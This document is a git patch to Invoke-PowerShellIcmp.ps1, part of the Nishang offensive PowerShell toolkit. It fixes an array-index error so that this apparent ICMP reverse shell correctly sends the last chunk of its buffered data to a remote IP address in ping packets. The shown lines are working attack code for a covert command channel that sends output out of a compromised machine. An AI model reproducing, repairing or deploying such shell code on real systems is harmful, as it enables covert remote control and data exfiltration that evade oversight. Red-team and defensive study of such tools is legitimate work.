From 98ae76db9548e2683f5361015957fcbb6c0b40b8 Mon Sep 17 00:00:00 2001 From: "zhi.zhou" Date: Sun, 10 Jan 2016 16:46:26 +0800 Subject: [PATCH] fix wrong array index correct the last part of buffer --- Shells/Invoke-PowerShellIcmp.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Shells/Invoke-PowerShellIcmp.ps1 b/Shells/Invoke-PowerShellIcmp.ps1 index fb414c6..1b56ff1 100644 --- a/Shells/Invoke-PowerShellIcmp.ps1 +++ b/Shells/Invoke-PowerShellIcmp.ps1 @@ -87,10 +87,10 @@ https://github.com/samratashok/nishang $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null $i +=1 } - $remainingindex = $sendbytes.Length%$BufferSize + $remainingindex = $sendbytes.Length % $BufferSize if ($remainingindex -ne 0) { - $sendbytes2 = $sendbytes[($i*$BufferSize)..($remainingindex)] + $sendbytes2 = $sendbytes[($i*$BufferSize)..($sendbytes.Length)] $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null } }